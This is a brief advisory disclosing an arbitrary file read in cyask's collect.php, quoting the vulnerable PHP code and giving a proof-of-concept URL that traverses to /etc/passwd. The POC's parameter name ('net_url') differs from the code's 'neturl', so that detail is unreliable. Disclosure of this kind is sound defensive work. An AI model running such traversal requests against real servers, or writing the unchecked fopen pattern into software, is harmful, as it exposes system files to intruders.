This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask. The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass the user check and then submit any filename to $neturl so that collect.php can read it. The vuln code like this: $url=get_referer(); $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']); $collect_url=empty($neturl) ? $url : $neturl; $contents = ''; if($fid=@fopen($collect_url,"r")) { do { $data = fread($fid, 4096); if (strlen($data) == 0) { break; } $contents .= $data; } while(true); fclose($fid); } POC: http://XXX.com/collect.php?net_url=../../../etc/passwd